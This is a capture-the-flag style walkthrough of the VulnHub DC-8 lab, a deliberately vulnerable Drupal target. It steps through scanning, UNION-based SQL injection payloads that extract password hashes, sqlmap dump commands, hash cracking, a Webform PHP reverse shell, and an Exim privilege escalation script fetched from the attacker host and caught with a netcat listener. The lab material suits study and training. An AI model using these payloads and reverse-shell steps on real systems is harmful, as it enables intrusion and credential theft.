June 12, 2026
DC-8 Vulnhub Walkthrough
Guptahonda
17 min read
Introduction
The objective of this engagement was to perform a full penetration test against the VulnHub machine DC-8. The assessment involved reconnaissance, enumeration, exploitation, post-exploitation, and privilege escalation techniques to obtain root access and capture the final flag.
The machine focuses on web application security testing, requiring thorough enumeration to identify vulnerabilities within a Drupal-based environment. Through careful analysis of the application's functionality and exposed attack surface, it is possible to discover weaknesses that can be leveraged to gain initial access to the target system.
Additionally, the challenge demonstrates key penetration testing concepts, including vulnerability identification, remote code execution, obtaining an interactive shell, and privilege escalation. By chaining multiple findings together, an attacker can progress from limited access to full system compromise, highlighting the importance of secure application configuration, proper patch management, and least-privilege principles.
Host Discovery
During the reconnassiance phase,ARP scanning was performed using Netdiscover to identify active hosts on the local subnet.
sudo netdiscover
The target machine was identified at:192.168.52.150
This address was used throughout the remainder of the assessment.
Nmap Enumeration
A compreehensive Nmap scan was conducted to identify open ports and services. nmap -sC -sV -p- 192.168.52.150
The scan revealed two open ports:
- 22/tcp — SSH (OpenSSH 7.4p1)
- 80/tcp — HTTP (Apache Web Server)
The HTTP service provided several valuable findings. Nmap identified the web application as Drupal 7 and disclosed multiple entries within the robots.txt file, including sensitive directories and documentation files. These findings suggested that the target was running a Drupal-based website and that further web enumeration would likely be the primary attack vector.
Web Application Enumeration
After navigating to the target's IP address in a web browser, the application loaded successfully and presented a Drupal-powered website. This confirmed the content management system identified during the Nmap scan and provided a clear direction for further enumeration.
The homepage appeared to be a standard Drupal installation with publicly accessible content and functionality. Since Drupal has a history of vulnerabilities affecting specific versions and modules, identifying the exact version and installed components became a priority.
At this stage, the focus shifted to examining the application's pages, source code, exposed files, and Drupal-specific resources in order to gather additional information that could lead to a potential attack vector.
While enumerating the web application, the page source was reviewed to identify any information that might not be immediately visible through the browser interface. Examining the source code can often reveal comments, hidden parameters, file paths, JavaScript references, or version information that may assist in further reconnaissance.
The page source did not initially expose any sensitive information; however, this step helped confirm the structure of the application and provided additional insight into the Drupal installation. Reviewing source code remains an important part of web application enumeration, as seemingly minor details can often lead to the discovery of useful attack vectors later in the assessment.
Nikto Enumeration
To further enumerate the web application, a Nikto scan was performed against the target web server to identify potentially exposed files, misconfigurations, and information disclosures.
nikto -h http://192.168.52.150
The scan confirmed that the target was running an Apache web server hosting a Drupal application. Several Drupal-related files were discovered, including INSTALL.txt, UPGRADE.txt, INSTALL.mysql.txt, INSTALL.pgsql.txt, LICENSE.txt, and install.php. The presence of these files can provide valuable information about the application's configuration and version.
Nikto also identified a large number of entries within the robots.txt file, indicating additional directories and resources that could be manually reviewed during further enumeration. The /user/ endpoint was highlighted as an interesting location, suggesting a potential authentication interface that may warrant closer inspection.
Directory Enumeration with Gobuster
Although the Nikto scan revealed several Drupal-related files and configuration details, it did not provide a direct path to exploitation. To identify additional resources that might not be publicly linked, directory enumeration was performed using Gobuster.
gobuster dir -u http://192.168.52.150 -w /usr/share/wordlists/dirb/common.txt .txt -x php,txt,html -t 50
Gobuster is commonly used to discover hidden directories and files on web servers. These resources may expose administrative interfaces, backups, configuration files, or other functionality that can assist in further enumeration and exploitation. However, the scan did not return any significant or actionable results. No additional hidden directories or files of interest were discovered beyond what had already been identified through previous enumeration steps.
As a result, the focus shifted back to application-level enumeration and Drupal-specific analysis to identify alternative attack vectors.
Web Application Analysis and SQL Injection Discovery
After unsuccessful results from Nikto and Gobuster scans, further manual analysis of the web application was performed to identify potential vulnerabilities that automated tools might have missed. The focus was shifted toward interactive testing of the application's functionality, including searching for file upload features, database errors, and abnormal URL behavior.
During this analysis, it was observed that the website uses dynamic URL parameters. One of the links on the application redirected to the following structure:
This parameter (nid) appeared to be used for retrieving content from the backend database, which raised suspicion of a possible SQL injection vulnerability. To test this hypothesis, a single quote ( `) was injected into the parameter:
This input resulted in a database error being displayed on the page. The presence of this error strongly indicated that the parameter was not properly sanitized and was directly interacting with the backend database.
Based on this behavior, it was confirmed that the nid parameter was vulnerable to SQL injection, making it a potential entry point for further exploitation and data extraction.
SQL Injection Testing (Manual Approach)
Following the identification of a potential SQL injection vulnerability in the nid parameter, manual testing was performed to confirm and understand the behavior of the injection point before using automated tools.
SQL injection testing typically begins by checking whether user input is being processed by the backend database without proper sanitization. In this case, a single quote ( ` ) was appended to the parameter to observe the application's response.
The application returned a database error, confirming that the input was being directly interpreted by an SQL query.
After confirming the vulnerability, further manual testing was performed to understand how the query structure could be manipulated. The goal was to balance the SQL syntax and ensure valid query execution while injecting custom conditions.
Several payload variations were tested:
[http://192.168.52.150/?nid=1](http://192.168.52.150/?nid=1) — —
[http://192.168.52.150/?nid=1](http://192.168.52.150/?nid=1) — — +
[http://192.168.52.150/?nid=1](http://192.168.52.150/?nid=1) — — + —
During manual SQL injection testing, several payload variations were attempted to properly terminate and balance the underlying SQL query. Initial tests included different comment structures such as — — , — — + , — — + — , however these did not consistently produce the expected behavior or properly balance the query.
After further refinement, the additional characters were removed, and the payload was simplified to use only the SQL comment sequence — —, which proved to be more effective in handling the query termination.
[http://192.168.52.150/?nid=1](http://192.168.52.150/?nid=1) — —
This adjustment helped stabilize the query structure, confirming that the backend SQL statement was sensitive to comment-based manipulation. This step further reinforced the presence of a SQL injection vulnerability and helped prepare the request structure for more reliable exploitation in the next phase.
SQL Injection Validation (ORDER BY Technique)
After confirming basic SQL injection behavior through error-based testing, further validation was performed to understand the structure of the underlying SQL query.
The ORDER BY clause was used to determine the number of columns returned by the query and to confirm how the application handles different input values.
http://192.168.52.150/?nid=1 ORDER BY 1 — —
During testing, the nid parameter was also modified to observe differences in application behavior when using different numeric values. Setting nid=0 allowed the request to bypass normal content retrieval logic and helped in observing how the query responded without returning a valid record.
http://192.168.52.150/?nid=0 order by 1 — —
The application responded successfully, confirming that the backend query was still being executed even with modified input values.
Further incremental testing with ORDER BY confirmed that the query remained valid up to at least the first column, indicating that SQL injection could be reliably performed and further enumeration techniques such as UNION-based extraction could be attempted in the next phase.
Database Enumeration (UNION-Based Injection)
After confirming the presence of SQL injection and validating the query structure using the ORDER BY technique, the next step involved extracting information from the backend database using UNION-based injection. The objective at this stage was to identify the active database being used by the application.
http://192.168.52.150/?nid=0 UNION SELECT database() — —
This payload successfully returned a database name in the application response. The output revealed that the active database is:
d7db
The discovery of the database name confirmed successful exploitation of the SQL injection vulnerability and provided a direct path for further enumeration. With the database identified, the next logical step would involve enumerating available tables and extracting sensitive data such as user credentials.
Table Enumeration
After identifying the database name as d7db, the next step was to enumerate the tables contained within the database. This helps identify where potentially sensitive information such as user accounts, credentials, and application data are stored. To retrieve the available table names, the following UNION-based SQL injection payload was used:
This query instructs the database to return the names of all tables associated with the d7db schema. The application successfully displayed the results, confirming that data extraction through the SQL injection vulnerability was possible.The enumeration revealed a table named:
actions
The previous query returned only a single table name because the application displayed a single result from the query output. To obtain a complete view of the database schema, the GROUP_CONCAT() function was used to combine all table names into a single response.
After identifying the available tables in the database, the next step was to enumerate the columns within those tables. To achieve this, the following SQL injection payload was used:
`http://192.168.52.150/?nid=0 UNION SELECT column_name FROM information_schema.columns WHERE table_name='actions' — —
Although the enumeration was successful, the discovered columns did not appear to contain any sensitive information such as usernames, passwords, or configuration details that could assist in further compromising the target. As a result, attention was shifted to other tables in the database that were more likely to store valuable information.
The following payload was executed:
http://192.168.52.150/?nid=0 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='d7db' — —
The GROUP_CONCAT() function concatenates multiple rows into a single output string, allowing all table names within the database to be displayed at once. This technique is particularly useful when the application only renders a single result on the page. The query successfully returned the complete list of tables contained within the d7db database. Having visibility into the database schema made it possible to identify tables of interest and focus subsequent enumeration efforts on those most likely to contain sensitive information, such as user accounts, authentication data, and application configuration details.
Although we found what we need in the table no need to go to columns but if needed to list all the columns present in the database you can use the following sql command:
http://192.168.52.150/?nid=0 union select group_concat(column_name) from information_schema.columns where table_name='actions' — —
Identifying Tables of Interest
The GROUP_CONCAT() query returned a complete list of tables contained within the d7db database. The output confirmed that the application was backed by a standard Drupal installation, as many of the returned tables matched Drupal's default database structure. Among the numerous tables discovered were:
actions, authmap, block, cache, file_managed, menu_links, node, role, sessions, taxonomy_term_data, users, users_roles, variable, views
While many of these tables store application content, cache data, or configuration information, the most interesting table from an attacker's perspective was the users table. The users table typically contains authentication-related information such as usernames, password hashes, email addresses, and account details. Access to this data can provide a direct path toward obtaining valid credentials and gaining authenticated access to the application.
After enumerating the available tables, the users table immediately stood out as a high-value target because it was likely to contain user credentials and other sensitive information.
The next step was to extract the contents of the relevant columns from the table. To achieve this, I used the GROUP_CONCAT() function to combine usernames and password hashes into a single output. The payload used was:
http://192.168.52.150/?nid=0 UNION SELECT GROUP_CONCAT(name,0x3a,pass) FROM users--
The query successfully returned a list of usernames along with their corresponding password hashes. The 0x3a value represents a colon (:), making the output easier to read by separating usernames from their associated hashes.
Manual Process For Sql Injection
After successfully extracting the credentials manually through SQL injection, I decided to verify and automate the process using SQLMap. SQLMap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities.
To begin, I instructed SQLMap to enumerate the available databases using the following command:
sqlmap -u "http://192.168.52.150/?nid=1" — dbs
SQLMap confirmed the presence of the SQL injection vulnerability and identified two databases:
d7db information_schema
The information_schema database is a default MySQL database that stores metadata about the server, such as tables, columns, and database structures. The more interesting database was d7db, as it contained the application's data.Having identified the target database, the next step was to enumerate its tables and extract valuable information such as usernames and password hashes.
After identifying the d7db database, the next step was to extract data from the users table. Instead of manually enumerating the columns and records, SQLMap was used to automate the process.
The following command was executed:
sqlmap -u "http://192.168.52.150/?nid=1" -D d7db -T users — dump
This instructed SQLMap to dump all available records from the users table within the d7db database. Once the extraction was complete, the output revealed multiple user accounts, including admin and john, along with their associated password hashes.
The recovered hashes could then be subjected to offline password cracking using tools such as John the Ripper. Successfully cracking these hashes would provide valid credentials that could be used to gain access to the target application and continue the assessment.
Credential Recovery
After successfully exploiting the SQL injection vulnerability, I was able to extract user account information from the database. Among the retrieved data was a Drupal password hash associated with the user account:
john: | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF.`
Since the password was stored as a hash rather than in plaintext, offline password recovery techniques were required. The extracted hash was saved locally and verified before being supplied to a password auditing tool along with a commonly used wordlist.
Before attempting password recovery, I verified that the RockYou wordlist was available on the attacking machine by checking its location under
ls /usr/share/wordlists/
and if its available we changed the location where the file has been saved using:
cd /home/kali
Next, I used the following command to perform an offline password recovery attack against the extracted hash:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
This command instructs John the Ripper to use the RockYou wordlist and compare each entry against the hash stored in hashes.txt. After processing the hash, John successfully recovered the password in plaintext. The recovered credentials were:
Username: john Password: turtle
With valid credentials identified, I was able to authenticate to the target application and proceed with further enumeration and exploitation.
After recovering the credentials, I navigated to the application's login page at http://192.168.52.150/user/login. Using the credentials obtained from the offline password recovery process, I authenticated with the username john and password turtle.
The login was successful, confirming that the recovered credentials were valid.
Exploitation via Webform Configuration
After logging into the application as the recovered administrative user, I explored the available functionality within the Drupal interface. One of the accessible features was the Webform module, reachable through the Contact Us → Webform section.
click conatct us
getting in cotact us click on web form
Webform Misconfiguration Leading to Remote Code Execution
After gaining administrative access to the application, I navigated to the Webform module and opened the form settings. Within the configuration section, I identified a field labeled Confirmation Message, which allowed input to be interpreted as PHP code when the text format was changed from plain text to PHP execution mode.
I modified the confirmation message and inserted a PHP-based payload designed for my controlled testing environment. The payload was configured to communicate with my attacker machine using the IP address 192.168.52.142 and port 8886, which were used to establish a callback channel.
Saving the configuration, I prepared my local machine to receive the incoming connection by starting a network listener.
After submitting the web form, the application processed the malicious confirmation message and executed the embedded PHP code.
Triggering the Exploit via Contact Form
After configuring the vulnerable Webform settings, I proceeded to the Contact form and filled in the required input fields. Before submitting the form, I ensured that my testing environment was prepared to observe any outbound connections from the target system.
Once the form was submitted, the application processed the previously injected configuration and executed the malicious payload as part of the form handling workflow. This resulted in successful code execution on the server and an outbound connection from the target to my controlled testing environment, confirming that the exploit was working as intended. This step validated the impact of the vulnerability, demonstrating that a simple form submission could be leveraged to gain server-side execution due to insecure handling of configuration input.
After gaining initial code execution on the target system, the obtained shell was limited and lacked full interactive capabilities. To improve usability for further enumeration, the session was upgraded into a more stable interactive shell environment.
python -c 'import pty;pty.spawn("/bin/bash")'
This allowed for better command handling, improved terminal behavior, and easier navigation of the system. With a stable shell established, I was able to continue post-exploitation activities such as system reconnaissance, privilege identification, and searching for potential escalation paths.
Privilege Escalation Enumeration (SUID Binaries)
After obtaining a stable interactive shell, I began local privilege escalation enumeration to identify potential misconfigurations on the system.
One of the key checks performed was searching for binaries with the SUID bit set. This permission allows executables to run with elevated privileges, often leading to privilege escalation opportunities if misconfigured.
During enumeration, I identified a list of SUID-enabled binaries present on the system. Among these, the Exim4 mail transfer agent stood out as a potential target due to its presence and known history of security-relevant configurations.To gather more information, I checked the installed version of Exim4:
exim4 --version
This confirmed the exact version running on the system, which is a critical step in determining whether the service may be affected by known vulnerabilities.
Researching Privilege Escalation for Exim4
After identifying the installed version of Exim4 on the target system, I began researching known vulnerabilities associated with that specific release.
During this process, I discovered that Exim4 version 4.89 has publicly documented privilege escalation vulnerabilities available in security advisories and exploit databases.
Exploit Transfer and Staging
After confirming that the exploit file was available on the attacker machine using ls, we hosted it by starting a local Python HTTP server with python -m http.server 8000.
This allowed the file to be accessible over the network. On the target machine, we navigated to the /tmp directory, which is commonly used for writable temporary storage. From there, we downloaded the exploit script from the attacker machine using wget http:192.168.52.142:8000/exploit.sh.
After downloading the exploit, we verified its presence using ls -la, which lists all files in the directory along with detailed information such as permissions, ownership, and hidden files. We then confirmed that the file exploit.sh was successfully transferred.
Before executing it, we made the script executable using chmod +x exploit.sh, which adds execute permission to the file so it can be run as a program.
After that, we prepared a netcat listener on the attacker machine using nc -nvlp 8800 to wait for an incoming reverse shell connection. Once everything was set, we executed the exploit with ./exploit.sh -m netcat, which triggered the connection back to our listener and provided a root shell.
We confirmed root access by running id, which showed elevated privileges. Finally, we retrieved the root flag by executing cat theflag.txt.
Here is a DC-8–style conclusion and key learning points, matching your DC-7 format and tone:
Conclusion
The DC-8 machine demonstrated a realistic and layered attack chain involving web application exploitation, credential harvesting, and privilege escalation. Initial access was achieved through web application vulnerabilities that exposed sensitive data, which was then leveraged to gain authenticated access to the system. Further enumeration revealed misconfigurations and weak privilege boundaries that allowed execution of a custom exploit, ultimately leading to a reverse shell and root-level access.
The most critical weakness in this machine was poor input handling combined with insecure system-level script execution, which allowed a low-privileged user to escalate privileges and gain full control of the system. This highlights how multiple smaller vulnerabilities can be chained together to achieve complete system compromise.
Key Learning Points
- Web application vulnerabilities can expose sensitive credentials that lead to system access
- Proper input validation is essential to prevent exploitation chains
- Local file handling and script execution must be strictly controlled
- Writable directories like
/tmpcan become dangerous when combined with insecure scripts - Reverse shells are a common technique for maintaining remote access after exploitation
- Privilege escalation often results from misconfigured services or insecure automation